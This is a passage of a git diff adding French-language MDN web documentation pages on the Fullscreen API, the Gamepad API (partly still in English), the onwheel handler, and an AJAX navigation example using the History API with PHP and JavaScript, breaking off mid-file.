L'attribut fullscreenElement vous indique l'{{ domxref("element") }} qui est actuellement affiché en plein écran. S'il est non nul, le document est en mode plein écran. S'il est nul, le document n'est pas en mode plein écran.
+
{{ domxref("document.fullscreenEnabled", "fullscreenEnabled") }}
+
L'attribut fullscreenEnabled vous indique si le document est actuellement dans un état qui permettrait d'activer le mode plein écran ou non.
+
+ +

Choses que vos utilisateurs doivent savoir

+ +

Vous voulez faire savoir à vos utilisateurs qu'il peuvent utiliser la touche ECHAP  (ou  F11) pour sortir du mode plein écran.

+ +

En même temps, naviguer sur une autre page, changer d'onglet, ou changer d'application (en utilisant, par exemple, Alt-Tab ) pendant le mode plein écran, implique la sortie du mode plein écran de toute façon.

+ +

Exemple

+ +

Dans cet exemple, une vidéo est affichée dans une page web. Taper sur l'une des touches  Retour  ou Entrée, permet à l'utilisateur de passer d'une présentation dans une fenêtre à une présentation en mode plein écran de la vidéo.

+ +

Voir l'exemple sur une page

+ +

Action sur la touche Entrée

+ +

Quand la page est chargée, ce code est exécuté pour mettre en place un évènement "listener" permettant de surveiller la moindre action sur la touche  Entrée .

+ +
document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+
+ +

Passer en mode plein écran

+ +

Ce code est appelé lorsque l'utilisateur appuie sur la touche Entrée, comme vu plus haut.

+ +
function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+      document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}
+ +

 Dans un premier temps, la valeur de l'attribut fullscreenElement est analysée dans le {{ domxref("document") }} (en contrôlant s'il est préfixé par moz-, ms- ou webkit-). Si la valeur est nulle, le document est actuellement en mode normal, donc nous devons passer en mode plein écran. Le passage en mode plein écran est assuré en appelant {{ domxref("element.requestFullscreen()") }}.

+ +

Si le mode plein écran est déjà activé (fullscreenElement est non nul), nous appelons  {{ domxref("document.exitFullscreen()") }}.

+ +

Préfixes

+ +

Pour le moment, tous les navigateurs n'ont pas implémenté la version sans préfixe de l'API (pour l'accès du fournisseur de l'API, vous pouvez utiliser Fscreen) . Voici le tableau résumant les préfixes et les différences de noms entre eux :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StandardBlink (Chrome & Opera)Gecko (Firefox)Internet Explorer 11EdgeSafari (WebKit)
{{domxref("Document.fullscreen")}}webkitIsFullScreenmozFullScreen-webkitIsFullScreenwebkitIsFullScreen
{{domxref("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabledwebkitFullscreenEnabledwebkitFullscreenEnabled
{{domxref("Document.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElementwebkitFullscreenElementwebkitFullscreenElement
{{domxref("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeMSFullscreenChangeonwebkitfullscreenchangeonwebkitfullscreenchange
{{domxref("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerrorMSFullscreenErroronwebkitfullscreenerroronwebkitfullscreenerror
{{domxref("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()webkitExitFullscreen()webkitExitFullscreen()
{{domxref("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()webkitRequestFullscreen()webkitRequestFullscreen()
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpecificationStatutCommentaire
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

Tous les navigateurs implémentent cette API. Néanmoins certains l'implémentent avec des préfixes avec des noms légèrement différents ; par exemple, au lieu de requestFullscreen (), il y a MozRequestFullScreen ().

+ +

{{ CompatibilityTable() }} 

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support15 {{ property_prefix("-webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("9.0") }} {{ property_prefix("-moz") }}
+ {{CompatGeckoDesktop("47")}} (behind full-screen-api.unprefix.enabled)		11 {{ property_prefix("-ms") }}12.105.0 {{ property_prefix("-webkit") }}
fullscreenEnabled20 {{ property_prefix("-webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("10.0") }} {{ property_prefix("-moz") }}
+ {{CompatGeckoDesktop("47")}} (behind full-screen-api.unprefix.enabled)		11 {{ property_prefix("-ms") }}12.105.1 {{ property_prefix("-webkit") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChromeEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}28 {{ property_prefix("-webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("9.0") }}{{ property_prefix("-moz") }}
+ {{CompatGeckoMobile("47")}} (behind full-screen-api.unprefix.enabled)		{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
fullscreenEnabled{{ CompatUnknown() }}28 {{ property_prefix("-webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("10.0") }} {{ property_prefix("moz") }}
+ {{CompatGeckoMobile("47")}} (behind full-screen-api.unprefix.enabled)		{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ +

Voir aussi

+ +
    +
  • Utiliser le mode plein écran
    • +
  • {{ domxref("Element.requestFullscreen()") }}
    • +
  • {{ domxref("Document.exitFullscreen()") }}
    • +
  • {{ domxref("Document.fullscreen") }}
    • +
  • {{ domxref("Document.fullscreenElement") }}
    • +
  • {{ cssxref(":fullscreen") }}, {{cssxref("::backdrop")}}
    • +
  • {{ HTMLAttrXRef("allowfullscreen", "iframe") }}
    • +
diff --git a/files/fr/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/fr/web/api/gamepad_api/using_the_gamepad_api/index.html new file mode 100644 index 0000000000..1cfa50fc2c --- /dev/null +++ b/files/fr/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -0,0 +1,281 @@ +--- +title: Utiliser l'API Gamepad +slug: Web/Guide/API/Gamepad +translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API +--- +

{{ SeeCompatTable() }}

+
+

HTML5 a introduit plusieurs des composants nécessaires pour le développement de jeux vidéos riches et interactifs. Des technologies comme <canvas>, WebGL, <audio>, et <video>, ainsi que les implémentations JavaScript, ont mûri au point de supporter plusieurs fonctions autrefois réservées aux applications natives. L'API Gamepad est une manière pour les développeurs et designers d'accéder aux contrôleurs de jeux.

+
+
+

Note: Dans Firefox 29 et plus, l'API Gamepad est activée par défaut, tout comme pour les versions Nightly et Aurora. Depuis Firefox 24, l'API Gamepad était déjà disponible derrière une option dans les préférences. Il est possible de l'activer dans ces versions en ouvrant about:config et en activant dom.gamepad.enabled.

+
+

L'API Gamepad introduit de nouveaux évènements à l'objet {{ domxref("Window") }} pour lire l'état des contrôleurs. En plus de ces événements, l'API ajoute aussi un objet {{ domxref("Gamepad") }} que vous pouvez utiliser pour récupérer l'état d'un contrôleur connecté, et une méthode {{ domxref("navigator.getGamepads") }} que vous pouvez utiliser pour obtenir la liste des contrôleurs connus par la page.

+

Connexion au contrôleur

+

Lorsqu'un nouveau contrôleur est connecté à l'ordinateur, la page active reçoit tout d'abord un événement {{ domxref("Window.gamepadconnected") }}. Si un contrôleur est déjà connecté lorsque la page termine de charger, l'événement {{ domxref("Window.gamepadconnected") }} est envoyé à la page active lorsque l'utilisateur appuie sur un bouton ou bouge un axe.

+
+

Dans Firefox, les contrôleurs ne sont rendus visibles à une page que lorsque l'utilisateur s'en sert alors que cette page est active. Cela permet d'éviter que les contrôleurs soient utilisés pour identifier l'utilisateur. Dès lors qu'un contrôleur a été utilisé, les autres contrôleurs connectés seront rendus visibles automatiquement.

+
+

Vous pouvez utiliser {{ domxref("Window.gamepadconnected") }} ainsi :

+
window.addEventListener("gamepadconnected", function(e) {
+  console.log("Contrôleur n°%d connecté : %s. %d boutons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+
+

Chaque contrôleur est associé à un identifiant unique, qui est disponible dans la propriété gamepad de l'événement.

+
+

Note: À l'écriture de ces lignes, Chrome n'implémente pas les événements {{ domxref("Window.gamepadconnected") }} et {{ domxref("Window.gamepaddisconnected") }}. Vous devez utiliser {{ domxref("navigator.getGamepads") }} pour récupérer la liste des contrôleurs disponibles.

+
+

Déconnexion du contrôleur

+

Lorsqu'un contrôleur est déconnecté, et si la page avait déjà reçu des données de ce contrôleur auparavant (par exemple par l'événement {{ domxref("Window.gamepadconnected") }}), un second événement est envoyé à la fenêtre active :  {{ domxref("Window.gamepaddisconnected") }}.

+
window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Contrôleur n°%d déconnecté : %s",
+  e.gamepad.index, e.gamepad.id);
+});
+

La propriété index sera unique à chaque périphérique connecté au système, même si plusieurs contrôleurs du même type sont utilisés. La propriété correspond également à l'indice du tableau retourné par {{ domxref("navigator.getGamepads") }}.

+
var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // Note :
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+
+

Cet exemple montre également comment la propriété gamepad peut être conservée après que l'événement se soit terminé. Cette technique sera utilisée plus tard pour obtenir l'état du périphérique.

+
+ [PAGE NON TRADUITE DEPUIS ICI...]
+
+  
+

Querying the Gamepad object

+

As you can see, the gamepad events discussed above include a gamepad property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.

+

Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.

+
+

Note: The Gamepad API also provides a function -- {{ domxref("Navigator.getGamepads") }}-- that returns a list of all devices currently visible to the webpage, an array of {{ domxref("Gamepad") }} objects. This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:

+
+
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  gp.index, gp.id,
+  gp.buttons.length, gp.axes.length);
+});
+

The {{ domxref("Gamepad") }} object's properties are as follows:

+
    +
  • id: A string containing some information about the controller. This is not strictly specified, but in Firefox it will contain three pieces of information separated by dashes (-): two 4-digit hexadecimal strings containing the USB vendor and product id of the controller, and the name of the controller as provided by the driver. This information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user.
    • +
  • index: An integer that is unique for each gamepad currently connected to the system. This can be used to distinguish multiple controllers. Note that disconnecting a device and then connecting a new device may reuse the previous index.
    • +
  • mapping: A string indicating whether the browser has remapped the controls on the device to a known layout. Currently there is only one supported known layout–the standard gamepad. If the browser is able to map controls on the device to that layout the mapping property will be set to the string standard.
    • +
  • connected: A boolean indicating whether the gamepad is still connected to the system. If this is so the value is True; if not, it is False.
    • +
  • buttons: An array of {{ domxref("GamepadButton") }} objects representing the buttons present on the device. Each {{ domxref("GamepadButton") }} has a pressed and a value property: +
      +
    • The pressed property is a boolean indicating whether the button is currently pressed (true) or unpressed (false).
      • +
    • The value property is a floating point value used to enable representing analog buttons, such as the triggers on many modern gamepads. The values are normalized to the range 0.0..1.0, with 0.0 representing a button that is not pressed, and 1.0 representing a button that is fully pressed.
      • +
    +
    • +
  • axes: An array representing the controls with axes present on the device (e.g. analog thumb sticks). Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0).
    • +
  • timestamp: This returns a {{ domxref("DOMHighResTimeStamp") }} representing the last time the data for this gamepad was updated, allowing developers to determine if the axes and button data have been updated from the hardware. The value must be relative to the navigationStart attribute of the {{ domxref("PerformanceTiming") }} interface. Values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. Note that this property is not currently supported in Firefox.
    • +
+
+

Note: The Gamepad object is available on the {{ domxref("Window.gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.

+
+

Using button information

+

Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can view the demo live, and find the source code on Github.

+

To start with, we declare some variables: The gamepadInfo paragraph that the connection info is written into, the ball that we want to move, the start variable that acts as the ID for requestAnimation Frame, the a and b variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("requestAnimationFrame") }} and {{ domxref("cancelRequestAnimationFrame") }} cross browser forks.

+
var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+
+var rAF = window.mozRequestAnimationFrame ||
+  window.webkitRequestAnimationFrame ||
+  window.requestAnimationFrame;
+
+var rAFStop = window.mozCancelRequestAnimationFrame ||
+  window.webkitCancelRequestAnimationFrame ||
+  window.cancelRequestAnimationFrame;
+

Next we use the {{ domxref("Window.gamepadconnected") }} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads") }}[0], print information about the gamepad into our gamepad info div, and fire the gameLoop() function that starts the whole ball movement process up.

+
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+  gameLoop();
+});
+

Now we use the {{ domxref("Window.gamepaddisconnected") }} event to check if the gamepad is disconnected again. If so, we stop the {{ domxref("requestAnimationFrame") }} loop (see below) and revert the gamepad information back to what it was originally.

+
window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+  rAFStop(start);
+});
+

Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads") }} is implemented with a webkit prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards-compatibility.

+
if(!('GamepadEvent' in window)) {
+  // No gamepad events available, poll instead.
+  var interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    var gp = gamepads[i];
+    if(gp) {
+      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}
+

Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the a and b movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of a and b respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.

+

After all this is done, we use our rAF variable to request the next animation frame, running gameLoop() again.

+
function buttonPressed(b) {
+  if (typeof(b) == "object") {
+    return b.pressed;
+  }
+  return b == 1.0;
+}
+
+function gameLoop() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads)
+    return;
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if(buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if(buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = rAF(gameLoop);
+};
+

Using axes information

+

TBD (basically the same, except using axes[i] rather than button[i].value for both Firefox and Chrome.)

+

Complete example: Displaying gamepad state

+

This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ domxref("Window.gamepadconnected") }} and {{ domxref("Window.gamepaddisconnected") }} events in order to display the state of all gamepads connected to the system. You can find a working demo and look at the full source code on Github.

+
var haveEvents = 'GamepadEvent' in window;
+var controllers = {};
+var rAF = window.mozRequestAnimationFrame ||
+  window.webkitRequestAnimationFrame ||
+  window.requestAnimationFrame;
+
+function connecthandler(e) {
+  addgamepad(e.gamepad);
+}
+function addgamepad(gamepad) {
+  controllers[gamepad.index] = gamepad; var d = document.createElement("div");
+  d.setAttribute("id", "controller" + gamepad.index);
+  var t = document.createElement("h1");
+  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+  d.appendChild(t);
+  var b = document.createElement("div");
+  b.className = "buttons";
+  for (var i=0; i<gamepad.buttons.length; i++) {
+    var e = document.createElement("span");
+    e.className = "button";
+    //e.id = "b" + i;
+    e.innerHTML = i;
+    b.appendChild(e);
+  }
+  d.appendChild(b);
+  var a = document.createElement("div");
+  a.className = "axes";
+  for (var i=0; i<gamepad.axes.length; i++) {
+    var e = document.createElement("progress");
+    e.className = "axis";
+    //e.id = "a" + i;
+    e.setAttribute("max", "2");
+    e.setAttribute("value", "1");
+    e.innerHTML = i;
+    a.appendChild(e);
+  }
+  d.appendChild(a);
+  document.getElementById("start").style.display = "none";
+  document.body.appendChild(d);
+  rAF(updateStatus);
+}
+
+function disconnecthandler(e) {
+  removegamepad(e.gamepad);
+}
+
+function removegamepad(gamepad) {
+  var d = document.getElementById("controller" + gamepad.index);
+  document.body.removeChild(d);
+  delete controllers[gamepad.index];
+}
+
+function updateStatus() {
+  if (!haveEvents) {
+    scangamepads();
+  }
+  for (j in controllers) {
+    var controller = controllers[j];
+    var d = document.getElementById("controller" + j);
+    var buttons = d.getElementsByClassName("button");
+    for (var i=0; i<controller.buttons.length; i++) {
+      var b = buttons[i];
+      var val = controller.buttons[i];
+      var pressed = val == 1.0;
+      if (typeof(val) == "object") {
+        pressed = val.pressed;
+        val = val.value;
+      }
+      var pct = Math.round(val * 100) + "%"
+      b.style.backgroundSize = pct + " " + pct;
+      if (pressed) {
+        b.className = "button pressed";
+      } else {
+        b.className = "button";
+      }
+    }
+
+    var axes = d.getElementsByClassName("axis");
+    for (var i=0; i<controller.axes.length; i++) {
+      var a = axes[i];
+      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+      a.setAttribute("value", controller.axes[i] + 1);
+    }
+  }
+  rAF(updateStatus);
+}
+
+function scangamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    if (gamepads[i]) {
+      if (!(gamepads[i].index in controllers)) {
+        addgamepad(gamepads[i]);
+      } else {
+        controllers[gamepads[i].index] = gamepads[i];
+      }
+    }
+  }
+}
+
+window.addEventListener("gamepadconnected", connecthandler);
+window.addEventListener("gamepaddisconnected", disconnecthandler);
+if (!haveEvents) {
+  setInterval(scangamepads, 500);
+}
+

Specifications

+

{{page("/en-US/docs/Gamepad","Specifications")}}

+

Browser compatibility

+

{{page("/en-US/docs/Gamepad","Browser_compatibility")}}

+

 

+

 

+

 

diff --git a/files/fr/web/api/globaleventhandlers/onwheel/index.html b/files/fr/web/api/globaleventhandlers/onwheel/index.html new file mode 100644 index 0000000000..837fda2ba2 --- /dev/null +++ b/files/fr/web/api/globaleventhandlers/onwheel/index.html @@ -0,0 +1,93 @@ +--- +title: Element.onwheel +slug: Web/API/Element/onwheel +tags: + - API + - DOM + - Gestionnaires d'évènements + - Propriété + - évènements +translation_of: Web/API/GlobalEventHandlers/onwheel +--- +

{{ ApiRef("DOM") }}

+ +

La propriété onwheel renvoie le code du gestionnaire d'évènements onwheel de l'élément courrant.

+ +

Syntaxe

+ +
element.onwheel = function() { .. }
+ +

Spécification

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG','webappapis.html#handler-onwheel','onwheel')}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(61)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatOpera(48)}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(61)}}{{CompatChrome(61)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatOperaMobile(48)}}{{CompatVersionUnknown}}
+
+ +

Notes

+ +

L'évènement wheel est déclenché lorsque l'utilisateur fait défiler le contenu de l'élément.

diff --git a/files/fr/web/api/history_api/example/index.html b/files/fr/web/api/history_api/example/index.html new file mode 100644 index 0000000000..f19782d753 --- /dev/null +++ b/files/fr/web/api/history_api/example/index.html @@ -0,0 +1,392 @@ +--- +title: Exemple de navigation en Ajax +slug: Web/Guide/DOM/Manipuler_historique_du_navigateur/Example +translation_of: Web/API/History_API/Example +--- +

Voici un exemple de site web AJAX composé uniquement de trois pages (page_un.php, page_deux.php et page_trois.php). Pour tester cet exemple, merci de créer les fichiers suivants :

+

page_un.php:

+
+ 
<?php
+    $page_title = "Page un";
+
+    $as_json = false;
+    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
+        $as_json = true;
+        ob_start();
+    } else {
+?>
+<!doctype html>
+<html>
+<head>
+<?php
+        include "include/header.php";
+        echo "<title>" . $page_title . "</title>";
+?>
+</head>
+
+<body>
+
+<?php include "include/before_content.php"; ?>
+
+<p>This paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p>
+
+<div id="ajax-content">
+<?php } ?>
+
+    <p>This is the content of <strong>first_page.php</strong>.</p>
+
+<?php
+    if ($as_json) {
+        echo json_encode(array("page" => $page_title, "content" => ob_get_clean()));
+    } else {
+?>
+</div>
+
+<p>This paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p>
+
+<?php
+        include "include/after_content.php";
+        echo "</body>\n</html>";
+    }
+?>
+
+
+

page_deux.php:

+
+ 
<?php
+    $page_title = "Page deux";
+
+    $as_json = false;
+    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
+        $as_json = true;
+        ob_start();
+    } else {
+?>
+<!doctype html>
+<html>
+<head>
+<?php
+        include "include/header.php";
+        echo "<title>" . $page_title . "</title>";
+?>
+</head>
+
+<body>
+
+<?php include "include/before_content.php"; ?>
+
+<p>This paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p>
+
+<div id="ajax-content">
+<?php } ?>
+
+    <p>This is the content of <strong>second_page.php</strong>.</p>
+
+<?php
+    if ($as_json) {
+        echo json_encode(array("page" => $page_title, "content" => ob_get_clean()));
+    } else {
+?>
+</div>
+
+<p>This paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p>
+
+<?php
+        include "include/after_content.php";
+        echo "</body>\n</html>";
+    }
+?>
+
+
+

page_trois.php:

+
+ 
<?php
+    $page_title = "Page trois";
+    $page_content = "<p>Ceci est le contenu de la <strong>page_trois.php</strong>. Ce contenu est stocké dans une variable PHP.</p>";
+
+    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
+        echo json_encode(array("page" => $page_title, "content" => $page_content));
+    } else {
+?>
+<!doctype html>
+<html>
+<head>
+<?php
+        include "include/header.php";
+        echo "<title>" . $page_title . "</title>";
+?>
+</head>
+
+<body>
+
+<?php include "include/before_content.php"; ?>
+
+<p>This paragraph is shown only when the navigation starts from <strong>third_page.php</strong>.</p>
+
+<div id="ajax-content">
+<?php echo $page_content; ?>
+</div>
+
+<p>This paragraph is shown only when the navigation starts from <strong>third_page.php</strong>.</p>
+
+<?php
+        include "include/after_content.php";
+        echo "</body>\n</html>";
+    }
+?>
+
+
+

css/style.css:

+
#ajax-loader {
+    position: fixed;
+    display: table;
+    top: 0;
+    left: 0;
+    width: 100%;
+    height: 100%;
+}
+
+#ajax-loader > div {
+    display: table-cell;
+    width: 100%;
+    height: 100%;
+    vertical-align: middle;
+    text-align: center;
+    background-color: #000000;
+    opacity: 0.65;
+}
+
+

include/after_content.php:

+
<p>Ceci est le pied-de-page. Il est commun à toutes les pages ajax.</p>
+
+

include/before_content.php:

+
<p>
+[ <a class="ajax-nav" href="page_un.php">Premier exemple</a>
+| <a class="ajax-nav" href="page_deux.php">Second exemple</a>
+| <a class="ajax-nav" href="page_trois.php">Troisième exemple</a>
+| <a class="ajax-nav" href="inexistante.php">Page inexistante</a> ]
+</p>
+
+
+

include/header.php:

+
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<script type="text/javascript" src="js/ajax_nav.js"></script>
+<link rel="stylesheet" href="css/style.css" />
+
+

js/ajax_nav.js:

+
+ 
"use strict";
+
+var ajaxRequest = new (function () {
+
+    function closeReq () {
+        oLoadingBox.parentNode && document.body.removeChild(oLoadingBox);
+        bIsLoading = false;
+    }
+
+    function abortReq () {
+        if (!bIsLoading) { return; }
+        oReq.abort();
+        closeReq();
+    }
+
+    function ajaxError () {
+        alert("Unknown error.");
+    }
+
+    function ajaxLoad () {
+        var vMsg, nStatus = this.status;
+        switch (nStatus) {
+            case 200:
+                vMsg = JSON.parse(this.responseText);
+                document.title = oPageInfo.title = vMsg.page;
+                document.getElementById(sTargetId).innerHTML = vMsg.content;
+                if (bUpdateURL) {
+                    history.pushState(oPageInfo, oPageInfo.title, oPageInfo.url);
+                    bUpdateURL = false;
+                }
+                break;
+            default:
+                vMsg = nStatus + ": " + (oHTTPStatus[nStatus] || "Unknown");
+                switch (Math.floor(nStatus / 100)) {
+                    /*
+                    case 1:
+                        // Informational 1xx
+                        console.log("Information code " + vMsg);
+                        break;
+                    case 2:
+                        // Successful 2xx
+                        console.log("Successful code " + vMsg);
+                        break;
+                    case 3:
+                        // Redirection 3xx
+                        console.log("Redirection code " + vMsg);
+                        break;
+                    */
+                    case 4:
+                        /* Client Error 4xx */
+                        alert("Client Error #" + vMsg);
+                        break;
+                    case 5:
+                        /* Server Error 5xx */
+                        alert("Server Error #" + vMsg);
+                        break;
+                    default:
+                        /* Unknown status */
+                        ajaxError();
+                }
+        }
+        closeReq();
+    }
+
+    function filterURL (sURL, sViewMode) {
+        return sURL.replace(rSearch, "") + ("?" + sURL.replace(rHost, "&").replace(rView, sViewMode ? "&" + sViewKey + "=" + sViewMode : "").slice(1)).replace(rEndQstMark, "");
+    }
+
+    function getPage (sPage) {
+        if (bIsLoading) { return; }
+        oReq = new XMLHttpRequest();
+        bIsLoading = true;
+        oReq.onload = ajaxLoad;
+        oReq.onerror = ajaxError;
+        if (sPage) { oPageInfo.url = filterURL(sPage, null); }
+        oReq.open("get", filterURL(oPageInfo.url, "json"), true);
+        oReq.send();
+        oLoadingBox.parentNode || document.body.appendChild(oLoadingBox);
+    }
+
+    function requestPage (sURL) {
+        if (history.pushState) {
+            bUpdateURL = true;
+            getPage(sURL);
+        } else {
+            /* Ajax navigation is not supported */
+            location.assign(sURL);
+        }
+    }
+
+    function processLink () {
+        if (this.className === sAjaxClass) {
+            requestPage(this.href);
+            return false;
+        }
+        return true;
+    }
+
+    function init () {
+        oPageInfo.title = document.title;
+        for (var oLink, nIdx = 0, nLen = document.links.length; nIdx < nLen; document.links[nIdx++].onclick = processLink);
+    }
+
+    const
+
+        /* customizable constants */
+        sTargetId = "ajax-content", sViewKey = "view_as", sAjaxClass = "ajax-nav",
+
+        /* not customizable constants */
+        rSearch = /\?.*$/, rHost = /^[^\?]*\?*&*/, rView = new RegExp("&" + sViewKey + "\\=[^&]*|&*$", "i"), rEndQstMark = /\?$/,
+        oLoadingBox = document.createElement("div"), oCover = document.createElement("div"), oLoadingImg = new Image(),
+        oPageInfo = {
+            title: null,
+            url: location.href
+        }, oHTTPStatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ {
+            100: "Continue",
+            101: "Switching Protocols",
+            102: "Processing",
+            200: "OK",
+            201: "Created",
+            202: "Accepted",
+            203: "Non-Authoritative Information",
+            204: "No Content",
+            205: "Reset Content",
+            206: "Partial Content",
+            207: "Multi-Status",
+            208: "Already Reported",
+            226: "IM Used",
+            300: "Multiple Choices",
+            301: "Moved Permanently",
+            302: "Found",
+            303: "See Other",
+            304: "Not Modified",
+            305: "Use Proxy",
+            306: "Reserved",
+            307: "Temporary Redirect",
+            308: "Permanent Redirect",
+            400: "Bad Request",
+            401: "Unauthorized",
